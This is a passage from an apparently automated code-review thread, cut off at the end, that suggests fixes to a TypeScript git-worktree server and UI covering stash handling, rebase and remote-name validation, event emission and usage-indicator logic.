isValidRemoteName with the same component checks and early returns used in the
add-remote.ts validation routine so create-pr.ts and other callers get a
consistent, Git-compatible remote-name validator.
In `@apps/server/src/routes/worktree/routes/check-changes.ts`:
- Around line 83-93: The current response builds totalFiles by summing
staged.length + unstaged.length + untracked.length which double-counts files
that appear in multiple arrays (e.g., partially staged); change this to compute
a deduplicated unique file count by constructing a Set of file paths from the
staged, unstaged, and untracked arrays (or otherwise deduplicate by file
identifier) and use its size for totalFiles in the JSON response (update the
result object that includes hasChanges, staged, unstaged, untracked to use the
deduped count); ensure any dependent field names (totalFiles) remain consistent
or rename to totalEntries if you prefer semantic clarity.
In `@apps/server/src/routes/worktree/routes/checkout-branch.ts`:
- Around line 190-197: The function isBranchError currently treats any error
containing 'Failed to stash' as a client/branch error; remove that check so
isBranchError only returns true for client-related messages ('already exists' or
'does not exist'), and handle stash failures as server-side errors instead
(return 500) where checkoutBranch or its caller interprets errors; update any
code paths that relied on isBranchError to treat stash-related errors separately
(e.g. introduce or check for a distinct isStashError or simply fall through to
server error handling) so permission/corruption stash failures are not reported
as HTTP 400.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 522-533: The resumeFeature wrapper should not emit auto_mode_error
because ExecutionService.executeFeature already classifies and emits that event;
remove the call to this.handleFacadeError(...) inside facade.resumeFeature (the
try/catch around this.recoveryService.resumeFeature(...) that calls
handleFacadeError and rethrows) so the function simply lets the error propagate
(or rethrow) without emitting; this prevents duplicate auto_mode_error emissions
from resumeFeature and ExecutionService.executeFeature (see resumeFeature,
handleFacadeError, resumeFeatureFn, and ExecutionService.executeFeature).
In `@apps/server/src/services/checkout-branch-service.ts`:
- Around line 178-182: Wrap the call to execGitCommand that computes
currentBranchOutput (and the assignment to previousBranch) in a try/catch
matching the pattern used in worktree-branch-service.ts: on error catch it, emit
the 'switch:error' event with the caught error and any relevant context, then
return/short-circuit so the function stops further processing. Ensure you
reference execGitCommand and previousBranch/currentBranchOutput in the guard so
the promise does not reject silently and the switch:error contract is preserved.
In `@apps/server/src/services/pull-service.ts`:
- Around line 322-324: The getConflictFiles call can throw inside the catch
which breaks the PullResult contract; wrap calls to getConflictFiles in a nested
try/catch (both where isConflictError(errorOutput) is handled in pull handler
and inside reapplyStash) so any failure from getConflictFiles is caught and
translated into the same structured PullResult failure path (e.g., set
pullConflict = true, leave pullConflictFiles as [] or populate with a safe
message, and include the caught error in the returned error field) instead of
letting the exception escape; update the catch blocks around
isConflictError(...) in pull handling and the call in reapplyStash to use this
guarded pattern so PullResult is always returned.
In `@apps/server/src/services/rebase-service.ts`:
- Around line 45-50: The current ontoBranch validation only checks
ontoBranch.startsWith('-') and misses empty or whitespace-only values; update
the validation in the rebase routine that uses the ontoBranch variable to first
trim the value (e.g., const normalized = ontoBranch?.trim() ?? '') and reject if
normalized === '' or normalized.startsWith('-'), returning the same
RebaseResult-shaped error object (success: false, error: `Invalid branch name:
"${ontoBranch}" ...`) so callers get the structured error instead of a git
failure.
In `@apps/ui/src/components/usage-popover.tsx`:
- Line 386: The computed value for geminiMaxPercentage incorrectly falls back to
100 when geminiUsage?.usedPercent is undefined, causing a misleading full-red
indicator; update the calculation in the usage-popover component so that
geminiMaxPercentage uses geminiUsage?.usedPercent with a default of 0 (i.e.,
remove the conditional ternary that returns 100 when authenticated is false) so
the neutral default is 0 regardless of geminiUsage.authenticated; target the
geminiMaxPercentage variable and the geminiUsage.usedPercent /
geminiUsage.authenticated references when making this change.
- Around line 97-100: The auth flags are inconsistently coerced so
isCodexAuthenticated/isZaiAuthenticated/isGeminiAuthenticated can be undefined
and cause downstream queries (useCodexUsage, useZaiUsage, useGeminiUsage) to run
during auth-loading; change their definitions to use explicit boolean coercion
(like isClaudeAuthenticated uses) so all four flags are strict booleans (e.g.,
apply !! to codexAuthStatus?.authenticated, zaiAuthStatus?.authenticated and
geminiAuthStatus?.authenticated) and then pass those booleans into the use*Usage
hooks to ensure enabled is never undefined.
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 147-155: The early-return guard that checks getElectronAPI() and
api.worktree.checkoutBranch runs after setIsCreating(true), leaving isCreating
stuck; move the capability check so it runs before calling setIsCreating(true)
(i.e., call getElectronAPI() and verify api?.worktree?.checkoutBranch and call
toast.error('Branch API not available') before setIsCreating(true)), or if you
prefer to keep the current order, ensure you call setIsCreating(false)
immediately before the early return; update the handler surrounding
setIsCreating, getElectronAPI, and toast.error to ensure isCreating is always
reset when aborting.
---
Outside diff comments:
In `@apps/server/src/services/merge-service.ts`:
- Around line 40-47: The pipeline orchestrator is calling performMerge(...)
without the emitter, so WebSocket event streaming is lost; update the
performMerge invocation in the pipeline orchestrator to pass the EventEmitter
instance (the events variable) as the sixth argument (after options) when
calling performMerge(projectPath, branchName, worktreePath || projectPath,
targetBranch || 'main', { deleteWorktreeAndBranch: false }, events) so the
performMerge function receives the emitter parameter and can stream events.
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 199-234: The handleCreate function can fire multiple concurrent
runs because isCreating remains false during the async checkChanges call; add an
early guard that returns if isCreating (or isChecking) is true, set that flag to
true before awaiting api.worktree.checkChanges and clear it on all early
returns/after errors so only one execution proceeds, and ensure the Create
button is bound to that flag (disabled when true); keep doCreate unchanged but
only call doCreate when the flag is set and preserved across the pre-check to
prevent double-submit/race conditions.
---
Duplicate comments:
In `@apps/server/src/routes/git/routes/stage-files.ts`:
- Around line 9-66: The createStageFilesHandler now correctly validates inputs,
delegates to stageFiles(), and handles StageFilesValidationError with a 400
while logging and returning 500 for unexpected errors; no code changes
required—keep createStageFilesHandler, stageFiles, and StageFilesValidationError
as implemented and merge the change.
In `@apps/server/src/routes/worktree/index.ts`:
- Around line 265-271: The generate-pr-description route handler was not wired
to emit events; update createGeneratePRDescriptionHandler to accept an optional
EventEmitter (second argument) and have the route pass in createEventEmitter()
as that second argument when calling
createGeneratePRDescriptionHandler(settingsService, events). Ensure the handler
implementation (createGeneratePRDescriptionHandler) uses the provided events
emitter where other handlers do, and keep existing middleware usage
(validatePathParams, requireGitRepoOnly) unchanged.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 264-274: The previous issue about nullable task name/description
in buildTaskPrompt has been resolved: both {{taskName}} and {{taskDescription}}
now use the consistent fallback task.description || `Task ${task.id}`; no code
changes needed—just confirm buildTaskPrompt (the function shown) remains as-is
and merge the approved change.
- Around line 19-25: The imports in facade.ts (resolveModelString,
execGitCommand) are correct per shared-package guidance so no code changes are
needed; keep the existing import statements for resolveModelString and
execGitCommand as written and proceed to approve the change (no edits to
functions or import lines like resolveModelString, execGitCommand, createLogger
required).
In `@apps/server/src/services/pull-service.ts`:
- Around line 205-208: The pull service and handler need to mirror the
cherry-pick pattern by accepting and using the global EventEmitter to emit
lifecycle events: update createPullHandler(...) to accept an events:
EventEmitter parameter (same shape as createCherryPickHandler), pass that events
through when invoking performPull, change performPull(worktreePath: string,
options?: PullOptions) to performPull(worktreePath: string, options?:
PullOptions, emitter?: EventEmitter), and add emitter?.emit(...) calls at key
points in performPull: emit 'pull:started' when starting, 'pull:success' on
successful completion, and 'pull:conflict' when a conflict is detected (use the
same payload structure as cherry-pick events). Ensure all references use the
global events emitter passed from the route.
In `@apps/server/src/services/worktree-branch-service.ts`:
- Around line 246-251: The call to execGitCommand that sets previousBranch can
throw and currently causes the promise to reject without emitting the expected
'switch:error' event; wrap the execGitCommand(...) call (the one assigning
currentBranchOutput / previousBranch) in a try/catch, and in the catch emit the
same 'switch:error' event payload used elsewhere (including the error) then
rethrow or reject so callers still see the failure; ensure you reference
execGitCommand, previousBranch (currentBranchOutput.trim()), and the existing
'switch:start'/'switch:error' event names so the behavior matches other error
paths.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 667-680: stagingSummary now correctly separates
staged/partial/unstaged but the useMemo dependencies omit getStagingState which
can cause stale results; update the useMemo dependency array for the
stagingSummary computation to include getStagingState (in addition to
enableStaging and files) so the memo recalculates if that function reference
changes.
- Around line 527-544: The earlier silent early-return in executeStagingAction
is fixed by detecting when both worktreePath and projectPath are falsy; ensure
the function uses the existing check inside executeStagingAction to call
toast.error with failurePrefix and a description ('No project or worktree path
configured'), then invoke onFinally() and return immediately to prevent further
processing. Verify this exact behavior is implemented in the
executeStagingAction callback so staging/unstaging always surfaces an error and
runs cleanup when paths are not configured.
In `@apps/ui/src/components/usage-popover.tsx`:
- Around line 194-223: The previous race is already handled: keep the useEffect
that resets userHasSelected.current to false when open becomes false and
early-returns if userHasSelected.current is true, and do not change the
default-selection priority logic that sets activeTab to
'claude'/'codex'/'zai'/'gemini'; instead ensure the selection handler
(onValueChange) sets userHasSelected.current = true so manual selections persist
across auth-flag changes—no code change to the effect itself is required.
---
Nitpick comments:
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 195-278: The createRunAgentFn is wrapped in an unnecessary outer
factory (() => async(...)) producing duplicate closures; replace it with a
single async function (e.g., const createRunAgentFn = async (workDir, featureId,
prompt, abortController, pPath, imagePaths?, model?, opts?) => { ... }) and
update call sites to call that function directly. While doing this, remove the
redundant explicit casts on the opts properties when building the
agentExecutor.execute payload (remove as PlanningMode | undefined, as boolean |
undefined, as string | undefined, as ThinkingLevel | undefined, as string | null
| undefined, etc.) so you pass opts?.planningMode, opts?.requirePlanApproval,
opts?.previousContent, opts?.systemPrompt, opts?.autoLoadClaudeMd,
opts?.thinkingLevel, opts?.branchName directly; keep the rest of the object and
callbacks (provider, effectiveBareModel, credentials, claudeCompatibleProvider,
and the buildTaskPrompt closure) unchanged.
In `@apps/server/src/services/checkout-branch-service.ts`:
- Around line 62-148: Extract the duplicated helpers into a shared module (e.g.,
branch-utils) and have both checkout-branch-service and worktree-branch-service
import them: move implementations of hasAnyChanges, stashChanges, popStash, and
localBranchExists into the new module; change hasAnyChanges signature to accept
an options flag (e.g., excludeWorktreePaths: boolean) and reuse the worktree
implementation’s isExcludedWorktreeLine filtering when that flag is true so
worktree-internal paths are ignored; update both services to call the shared
hasAnyChanges(cwd, { excludeWorktreePaths: true/false }) and remove the
duplicate functions from those files, preserving existing error handling and
logging behavior.
In `@apps/server/src/services/merge-service.ts`:
- Around line 152-168: When Layer 3 (statusOutput from execGitCommand) indicates
unmerged paths but conflictFiles is still undefined, parse the statusOutput
lines that match the unmerged prefix (/^(UU|AA|DD|AU|UA|DU|UD)/) to extract the
filenames (everything after the two-status chars and optional whitespace),
deduplicate and assign them to conflictFiles before computing hasConflicts;
update the block around statusOutput/hasUnmergedPaths to set conflictFiles =
parsedFiles (trim lines, ignore empty entries) so conflicts are reported
correctly when only Layer 3 detects them.
- Around line 7-9: The import of execGitCommand in merge-service.ts uses a local
relative path; replace that import to pull execGitCommand from the shared
package `@automaker/git-utils` instead. Update the import statement that currently
references ../lib/git.js so the module imports execGitCommand from
'@automaker/git-utils' (leaving createLogger and isValidBranchName unchanged) to
remove duplication and follow the shared-package guideline.
In `@apps/server/src/services/pull-service.ts`:
- Around line 77-84: The parsing of git output where localChangedFiles is built
(using statusOutput, hasLocalChanges and substring(3)) doesn't handle rename
entries like "R old -> new"; update the mapping logic that derives filenames
from each status line to detect the "->" token and, when present, take the
target/new filename (right-hand side) after trimming, otherwise keep the
substring(3). Ensure the same code still trims empty lines and preserves
behavior for non-rename entries.
In `@apps/server/src/services/rebase-service.ts`:
- Around line 193-195: The logger.warn call in the catch block of the rebase
flow passes an unstructured second argument; update the call in the
RebaseService (the catch that currently calls logger.warn('Failed to abort
rebase after conflict', err instanceof Error ? err.message : err)) to pass
structured metadata instead (e.g., logger.warn('Failed to abort rebase after
conflict', { error: err instanceof Error ? { message: err.message, stack:
err.stack } : err })), so the logger receives an object as the meta parameter
and preserves message and stack when err is an Error.
- Around line 178-180: The function runRebase rejects by re-throwing
non-conflict errors (throw rebaseError) which breaks the declared
Promise<RebaseResult> contract; instead catch or replace that throw with
returning a structured RebaseResult (e.g., { success: false, error: rebaseError
} or the project's equivalent) so all error paths resolve to a RebaseResult;
update the throw site in runRebase (where rebaseError is thrown) to return the
unified failure object and ensure callers still receive a Promise<RebaseResult>.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 641-665: The bulk handlers handleStageAll and handleUnstageAll are
missing the worktree guard that handleStageFile/handleUnstageFile use; add a
precondition that if useWorktrees && !worktreePath then show the same
descriptive error toast ("worktreePath required when useWorktrees is enabled")
and return early (do not call executeStagingAction), preserving the existing
staging progress updates (setStagingInProgress) only when the guard passes so
behavior matches the per-file handlers.
- Around line 922-951: Extract the repeated call to getStagingState(file) into a
local variable (e.g., const stagingState = getStagingState(file)) inside the JSX
block guarded by enableStaging, then replace both uses of getStagingState(file)
in the ternary with that variable; keep existing checks against
stagingInProgress.has(file.path) and the onClick handlers
handleUnstageFile(file.path) and handleStageFile(file.path) unchanged so the
behavior remains the same (follow the same pattern used in FileDiffSection).
In `@apps/ui/src/components/usage-popover.tsx`:
- Around line 243-246: The four functions fetchClaudeUsage, fetchCodexUsage,
fetchZaiUsage, and fetchGeminiUsage are trivial pass-through wrappers around
refetchClaude, refetchCodex, refetchZai, and refetchGemini and only create extra
function references each render; remove these wrapper functions and replace
their call sites to invoke the corresponding refetch* functions directly (e.g.,
call refetchZai instead of fetchZaiUsage) so you eliminate unnecessary
indirection and allocations.
- Around line 371-376: Remove the dead-code variables `_codexMaxPercentage` and
`_codexWindowLabel` from the UsagePopover component: delete their declarations
and any associated unused computations that derive from `codexUsage` (e.g., the
Math.max call and any window label logic), ensuring no other code references
`_codexMaxPercentage` or `_codexWindowLabel` remain; if TypeScript then let the
compiler/IDE remove resulting unused imports or adjust code that expected those
values (use `codexUsage` directly where needed).
In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx`:
- Around line 44-48: Remove the duplicated BranchInfo interface from
create-branch-dialog.tsx and import the shared BranchInfo type from the existing
worktree-panel types module instead; update the file's imports to pull
BranchInfo from the worktree-panel/types.ts module and ensure all usages in the
CreateBranchDialog (and any local references) use the imported type rather than
the local declaration.
apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx
Show resolved
Hide resolved
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 9
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
apps/ui/src/components/ui/git-diff-panel.tsx (1)
351-425:⚠️ Potential issue | 🟡 MinorOuter
divhas interactive hover styling but is not a focusable element — minor accessibility concern.The wrapping
<div>on line 353 applieshover:bg-accent/50 transition-colorsmaking the entire row appear clickable, but only the inner<button>(line 354) responds to activation. Keyboard-only or assistive-technology users will not be able to trigger the hover region; they'll focus the inner<button>directly, which is correct — but the visual affordance can still mislead sighted users who click on the staging-button gutter area and see no toggle response.Consider either removing the hover background from the outer
<div>(leaving it on the inner button) or addingrole="group"/aria-labelto clarify the row's structure.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 351 - 425, The outer wrapper div uses hover styling but isn't the interactive control, which can mislead users; update the component so the hover background is applied to the inner toggle button and mark the outer div as an accessibility grouping: remove "hover:bg-accent/50" from the outer div's class list, add that hover class to the button element that calls onToggle, and add role="group" plus a clear aria-label (e.g., aria-label={`file row: ${fileDiff.filePath}`}) to the outer div to clarify structure for assistive tech while preserving staging controls like StagingBadge and the onStage/onUnstage handlers.apps/server/src/services/auto-mode/facade.ts (1)
195-216:⚠️ Potential issue | 🟡 MinorHardcoded
'claude-sonnet-4-6'should useDEFAULT_MODELS.claudefor consistency.Every other call site in this codebase (
execution-service.ts,pipeline-orchestrator.ts) resolves the fallback viaDEFAULT_MODELS.claude. This value is intentionally centralised so a single update propagates everywhere. A hardcoded literal here will silently diverge whenDEFAULT_MODELS.claudeis bumped.🛠️ Proposed fix
-import { resolveModelString } from '@automaker/model-resolver'; +import { resolveModelString, DEFAULT_MODELS } from '@automaker/model-resolver';-const resolvedModel = resolveModelString(model, 'claude-sonnet-4-6'); +const resolvedModel = resolveModelString(model, DEFAULT_MODELS.claude);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 195 - 216, The fallback model string is hardcoded as 'claude-sonnet-4-6' in the createRunAgentFn code path; replace that literal with the centralized DEFAULT_MODELS.claude constant by passing DEFAULT_MODELS.claude into resolveModelString instead, updating the call site in createRunAgentFn so resolveModelString(model, DEFAULT_MODELS.claude) is used (referencing createRunAgentFn and resolveModelString to locate the change).
🧹 Nitpick comments (12)
apps/server/src/services/rebase-service.ts (1)
42-197: No events emitted from this service per the server coding guideline.The coding guideline states all server operations should emit events via
createEventEmitter()fromlib/events.ts. The AI summary shows the route handler (createRebaseHandler(events: EventEmitter)) receives an emitter and will presumably emit progress/result events there — if that route layer fully satisfies the guideline, no change is needed here. Otherwise, consider emitting at least arebase:start/rebase:complete/rebase:conflictevent fromrunRebasedirectly by accepting an optionalEventEmitterparameter.As per coding guidelines: "All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket."
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 42 - 197, runRebase currently performs rebases without emitting server events; update its signature to accept an optional EventEmitter (e.g., runRebase(worktreePath: string, ontoBranch: string, events?: EventEmitter)) and use createEventEmitter/EventEmitter from lib/events.ts at the call site (createRebaseHandler already has an emitter). Emit at minimum "rebase:start" (before execGitCommand), "rebase:complete" on successful rebase (include branch/ontoBranch/message), and "rebase:conflict" when hasConflicts is true (include conflictFiles and aborted), and emit a "rebase:error" for unexpected throws; also emit in abortRebase when abort fails or succeeds so callers can stream abort status. Ensure all emitted payloads are small serializable objects and do not change existing return types.apps/server/src/routes/worktree/routes/check-changes.ts (2)
28-61: Consider extractingparseStatusOutputinto a shared git service.Per coding guidelines for
apps/server/src/**/*.{ts,tsx}: "Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services."parseStatusOutputis business logic (git status interpretation) that other route handlers (e.g., discard-changes) likely duplicate or would benefit from sharing. Moving it to a git-related service (e.g.,services/git-status.ts) would align with the guideline and avoid future duplication.Additionally, a minor edge case: a filename containing the literal string
->(e.g.,docs/a -> b.md) would be incorrectly split on line 46. Porcelain v2 with-znull-delimiter avoids this ambiguity entirely if stronger robustness is needed.As per coding guidelines: "Server business logic should be organized into services in the services/ directory."
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/check-changes.ts` around lines 28 - 61, Move the git status parsing logic out of the route and into a shared service (create e.g., services/git-status.ts) by extracting the parseStatusOutput function so route handlers (routes/check-changes.ts, discard-changes, etc.) delegate to it; in the new service keep the same signature (parseStatusOutput(stdout: string): {staged:string[];unstaged:string[];untracked:string[]}) and replace the naive rename split logic (rawPath.split(' -> ')[1]) with a robust approach (either parse porcelain -z null-delimited output or if keeping current format, only treat " -> " as a rename separator when the index status indicates a rename) to avoid mis-splitting filenames that contain " -> ".
63-103: No event emission — consider whether this handler should stream via WebSocket per coding guidelines.The
apps/server/src/**/*.{ts,tsx}guideline states: "All server operations should emit events usingcreateEventEmitter()fromlib/events.tsthat stream to the frontend via WebSocket." This handler returns data exclusively via a synchronous HTTP JSON response without emitting any events.For a read-only status check this may be intentional, but if the team wants consistency (e.g., for progress indication on slow repos), a
check-changes:completeevent should be emitted after the git call resolves.As per coding guidelines: "All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket."
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/check-changes.ts` around lines 63 - 103, The handler createCheckChangesHandler currently only responds via HTTP; update it to also emit a WebSocket event using createEventEmitter() from lib/events.ts: after computing staged/unstaged/untracked, build the same result object (hasChanges, staged, unstaged, untracked, totalFiles) and call emitter.emit('check-changes:complete', result) before sending the JSON response; also emit an error event (e.g., 'check-changes:error') inside the catch block with the error message so frontend listeners get failure notifications.apps/server/src/providers/codex-provider.ts (1)
1169-1172: Localpathvariable shadows the importedpathmodule.
const path = await findCodexCliPath()on line 1170 shadows theimport path from 'path'at the top of the file. It's harmless here since thepathmodule isn't used inside this method, but it's a readability hazard for anyone who later addspath.join(...)logic insidegetCliPath().♻️ Proposed fix
- async getCliPath(): Promise<string | null> { - const path = await findCodexCliPath(); - return path || null; - } + async getCliPath(): Promise<string | null> { + const cliPath = await findCodexCliPath(); + return cliPath || null; + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/codex-provider.ts` around lines 1169 - 1172, The local variable name `path` in async function getCliPath() shadows the imported `path` module; rename the local variable (e.g., to `cliPath` or `foundPath`) in getCliPath() and return that variable (keeping the await findCodexCliPath() call) so the imported `path` module remains accessible for any future path.join()/path.* usage.apps/ui/src/components/usage-popover.tsx (1)
41-56:Math.max(0, …)guards on lines 47/51/52 are redundant after the early-returnOnce the
diff <= 0guard returns'Resets now', the remaining branches execute only whendiff > 0, so clamping to 0 can never fire.♻️ Suggested cleanup
if (diff < 3600000) { - const mins = Math.max(0, Math.ceil(diff / 60000)); + const mins = Math.ceil(diff / 60000); return `Resets in ${mins}m`; } if (diff < 86400000) { - const hours = Math.max(0, Math.floor(diff / 3600000)); - const mins = Math.max(0, Math.ceil((diff % 3600000) / 60000)); + const hours = Math.floor(diff / 3600000); + const mins = Math.ceil((diff % 3600000) / 60000); return `Resets in ${hours}h ${mins > 0 ? `${mins}m` : ''}`; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 41 - 56, The Math.max(0, …) guards inside the timer formatting logic are redundant because the function already returns early for diff <= 0; remove the redundant clamps in the calculations for mins and hours (the expressions that currently read Math.max(0, Math.ceil(diff / 60000)), Math.max(0, Math.floor(diff / 3600000)), and Math.max(0, Math.ceil((diff % 3600000) / 60000))) in the same function in usage-popover.tsx and replace them with the direct Math.ceil/Math.floor calls so the output logic remains identical but without unnecessary guards.apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx (1)
30-35: Prefer barrel imports for intra-app components and typesBoth
./stash-confirm-dialogand../worktree-panel/typesare direct relative path imports. Per the project's barrel-import convention for intra-app UI components, these should come through the relevant index barrel (e.g.,../componentsor the dialogs barrel) rather than direct file paths.♻️ Suggested approach
-import { - StashConfirmDialog, - type UncommittedChangesInfo, - type StashConfirmAction, -} from './stash-confirm-dialog'; -import { type BranchInfo } from '../worktree-panel/types'; +import { + StashConfirmDialog, + type UncommittedChangesInfo, + type StashConfirmAction, +} from '../components'; // or the dialogs barrel, if one exists +import { type BranchInfo } from '../worktree-panel'; // via worktree-panel barrelBased on learnings: "when importing UI components within the same app, prefer barrel exports from
../components(i.e., import from the components index barrel) rather than direct path imports."🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` around lines 30 - 35, Replace the direct relative imports of StashConfirmDialog, UncommittedChangesInfo, StashConfirmAction and BranchInfo with barrel imports from the app's components/dialogs index barrel (i.e., import these symbols from the components/dialogs barrel instead of './stash-confirm-dialog' and '../worktree-panel/types'); confirm the barrel exports include StashConfirmDialog, UncommittedChangesInfo, StashConfirmAction and BranchInfo and add them to the appropriate index export if missing so the create-branch-dialog component can import all four from the barrel.apps/ui/src/components/ui/git-diff-panel.tsx (2)
18-18: Prefer the barrel import forTruncatedFilePath.The
TruncatedFilePathimport uses a direct path (@/components/ui/truncated-file-path) rather than the barrel index. Other in-app imports in the same file already use the barrel (e.g.,@/hooks/queries). Based on learnings, within theapps/uicodebase, intra-app UI components should be imported from the barrel (@/components) for stability and refactorability.♻️ Proposed fix
-import { TruncatedFilePath } from '@/components/ui/truncated-file-path'; +import { TruncatedFilePath } from '@/components';🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` at line 18, Replace the direct component import with the barrel export: change the import of TruncatedFilePath (used in git-diff-panel) from '@/components/ui/truncated-file-path' to import from the components barrel ('@/components') so the file uses the shared barrel export for stability and refactorability; update any existing import statement for TruncatedFilePath accordingly and ensure the component name remains unchanged where referenced in the file.
912-979: Staging UI logic is duplicated in the "no diff content" fallback path.The fallback block (lines 914–977) re-implements the same
stagingInProgressspinner,StagingBadge, and Stage/Unstage button pattern already present inFileDiffSection. Any future change to per-file staging UX (button label, icon, size, keyboard shortcut) will need to be applied in two places.Consider extracting a small
FileRowActions(or similar) component that renders the badge + stage/unstage control, and use it in bothFileDiffSectionand the fallback.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 912 - 979, The fallback UI duplicates the per-file staging controls found in FileDiffSection; extract those controls into a new FileRowActions component that accepts props (file, enableStaging, stagingInProgress, getStagingState, handleStageFile, handleUnstageFile, StagingBadge, Spinner, Button, Plus, Minus, getStatusBadgeColor, getStatusDisplayName as needed) and render the badge, spinner and Stage/Unstage button logic there; then replace the duplicated JSX in both FileDiffSection and the no-diff fallback with <FileRowActions ... /> (export/import the new component and keep the same behavior/props so existing handlers continue to work).apps/server/src/services/branch-utils.ts (1)
126-140:popStashshould useexecGitCommandWithLockRetryfor consistency withstashChanges
git stash popwrites to the index just likegit stash push. In the error-recovery path — where a failed checkout may have left a stale.git/index.lock— using the plainexecGitCommandmeans a lock-related failure is not retried, leaving the stash unreachable. SincestashChangesalready usesexecGitCommandWithLockRetry, applying the same approach topopStashmakes recovery as resilient as the push.♻️ Proposed fix
-import { execGitCommand, execGitCommandWithLockRetry } from '../lib/git.js'; +import { execGitCommandWithLockRetry } from '../lib/git.js'; export async function popStash( cwd: string ): Promise<{ success: boolean; hasConflicts: boolean; error?: string }> { try { - await execGitCommand(['stash', 'pop'], cwd); + await execGitCommandWithLockRetry(['stash', 'pop'], cwd); return { success: true, hasConflicts: false }; } catch (error) {(And remove the
execGitCommandimport if it is no longer used elsewhere in this file.)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/branch-utils.ts` around lines 126 - 140, The popStash function currently calls execGitCommand and thus won't retry on a stale .git/index.lock; update popStash to call execGitCommandWithLockRetry(['stash', 'pop'], cwd) and keep the same try/catch/error handling so lock-related failures are retried like stashChanges does, and remove the execGitCommand import from this file if it becomes unused.apps/server/src/services/merge-service.ts (1)
55-55:targetBranch || 'main'is redundant — the parameter already defaults to'main'.🧹 Proposed cleanup
- const mergeTo = targetBranch || 'main'; + const mergeTo = targetBranch;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` at line 55, The assignment const mergeTo = targetBranch || 'main' is redundant because the function parameter already defaults to 'main'; remove the fallback and either use targetBranch directly or change the line to const mergeTo = targetBranch; (or eliminate mergeTo and reference targetBranch in subsequent calls) — update usages accordingly in merge-service.ts around the merge logic to rely on the parameter default.apps/server/src/services/auto-mode/facade.ts (1)
195-277:createRunAgentFnis an unnecessary zero-arg factory.The outer
() =>captures no extra state and adds no differentiation between the two call sites (lines 295 and 343). It could be a plainconst runAgentFn = async (...) => { ... }assigned once and passed to both services, reducing cognitive overhead.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 195 - 277, The outer zero-arg factory createRunAgentFn should be replaced with a single async function (e.g., runAgentFn) to remove the redundant wrapper; refactor the code by turning "const createRunAgentFn = () => async (...)" into "const runAgentFn = async (...)" and update all call sites that currently invoke createRunAgentFn() to pass runAgentFn directly to the services that use it; keep the same parameter list and body (including the resolveModelString/ProviderFactory logic and the agentExecutor.execute call) so behavior is unchanged while removing the unnecessary closure.apps/server/src/routes/worktree/common.ts (1)
10-12: Re-exportingexecGitCommandfrom a relative path (../../lib/git.js) is a transitional workaround — plan to remove it.Consumers of this re-export should migrate to
@automaker/git-utilsdirectly, so this bridge can eventually be removed. As per coding guidelines, "Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules."🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/common.ts` around lines 10 - 12, Replace the transitional relative re-export of execGitCommand in common.ts with a direct re-export from the shared package: import/export the execGitCommand symbol from '@automaker/git-utils' instead of '../../lib/git.js' so consumers can migrate to the canonical package and this bridge can be removed later; update the export line that currently references execGitCommand to reference the '@automaker/git-utils' module.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/server/src/routes/worktree/common.ts`:
- Around line 73-80: isValidRemoteName currently allows names that end with '.'
and '.lock' suffixes; update the function (isValidRemoteName) to return false if
the name ends with '.' and also return false if any path component ends with
'.lock' (use name.split('/') and test each component for .endsWith('.lock'));
keep the existing length checks against MAX_BRANCH_NAME_LENGTH and other
validations, and add these two checks before the final
/^[a-zA-Z0-9._-]+$/.test(name) regex.
In `@apps/server/src/services/checkout-branch-service.ts`:
- Around line 255-299: The catch block for checkout failures currently emits
events?.emit('switch:error', ...) and then re-throws checkoutError, causing
duplicate emissions downstream; instead, in the paths after computing
checkoutErrorMsg (the final block handling didStash true/false and
popResult.success === true) replace the throw with a structured return matching
the other error returns (e.g., return { success: false, error: checkoutErrorMsg,
stashPopConflicts: false }) so the service fully handles the error; update
references around popStash, popResult, getErrorMessage, events?.emit and remove
the trailing throw checkoutError to prevent the duplicate switch:error.
In `@apps/server/src/services/pull-service.ts`:
- Around line 359-373: The pull conflict return in performPull currently sets
